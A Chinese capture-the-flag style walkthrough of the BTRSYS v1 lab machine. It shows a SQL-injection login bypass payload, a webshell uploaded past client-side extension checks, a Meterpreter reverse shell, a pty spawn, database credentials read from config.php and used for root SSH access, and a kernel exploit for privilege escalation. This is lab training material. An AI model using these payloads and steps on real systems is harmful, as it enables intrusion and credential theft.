This is a boot2root machine particularly educational for beginners.
靶机下载地址:戳我
0x00 前期工作
使用kali探测存活主机,得到BTRSYS: V1靶机的ip为192.168.58.143
探测端口的开放情况:

0x01 信息收集
- 80端口
使用nikto扫描器扫描到敏感路径(login.php):

login.php中的源代码存在敏感信息,如下所示:
function control(){
var user = document.getElementById("user").value;
var pwd = document.getElementById("pwd").value;
var str=user.substring(user.lastIndexOf("@")+1,user.length);
if((pwd == "'")){
alert("Hack Denemesi !!!");
}
else if (str!="btrisk.com"){
alert("Yanlis Kullanici Bilgisi Denemektesiniz");
}
else{
document.loginform.submit();
}
}
根据代码来看,用户名需要满足xxx@btrisk.com。使用万能密码可以绕过:
'or 1=1#@btrisk.com
后台页面存在文件上传。

- 22端口
尝试hydra爆破失败Q Q
0x02 获取权限
因为后台存在文件上传,且源代码里可以看到对上传文件的过滤,所以可以判断此靶机是前端验证:
function getFile(){
var filename = document.getElementById("dosya").value;
var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
document.myform.submit();
}else{
//mesaj
alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
return false;
}
}
上传冰蝎?,上传成功,网站默认把上传的文件放在了uploads文件夹里:

连接成功:

使用Meterpreter反弹shell:

方法一
使用Python搞一个伪终端:
python -c "import pty;pty.spawn('/bin/bash')"
查看到网站根目录下有config.php:
<?php
/////////////////////////////////////////////////////////////////////////////////////////
$con=mysqli_connect("localhost","root","toor","deneme");
if (mysqli_connect_errno())
{
echo "Mysql Bağlantı hatası!: " . mysqli_connect_error();
}
/////////////////////////////////////////////////////////////////////////////////////////
?>
成功进入mysql:

show databases; use deneme; show tables; select * from user;
得到用户名和密码:

ssh连接,用户名root密码asd123***成功连接^ ^
方法二
查看systeminfo信息:

搜索该系统是否存在漏洞:

上传到靶机:

编译,提权成功
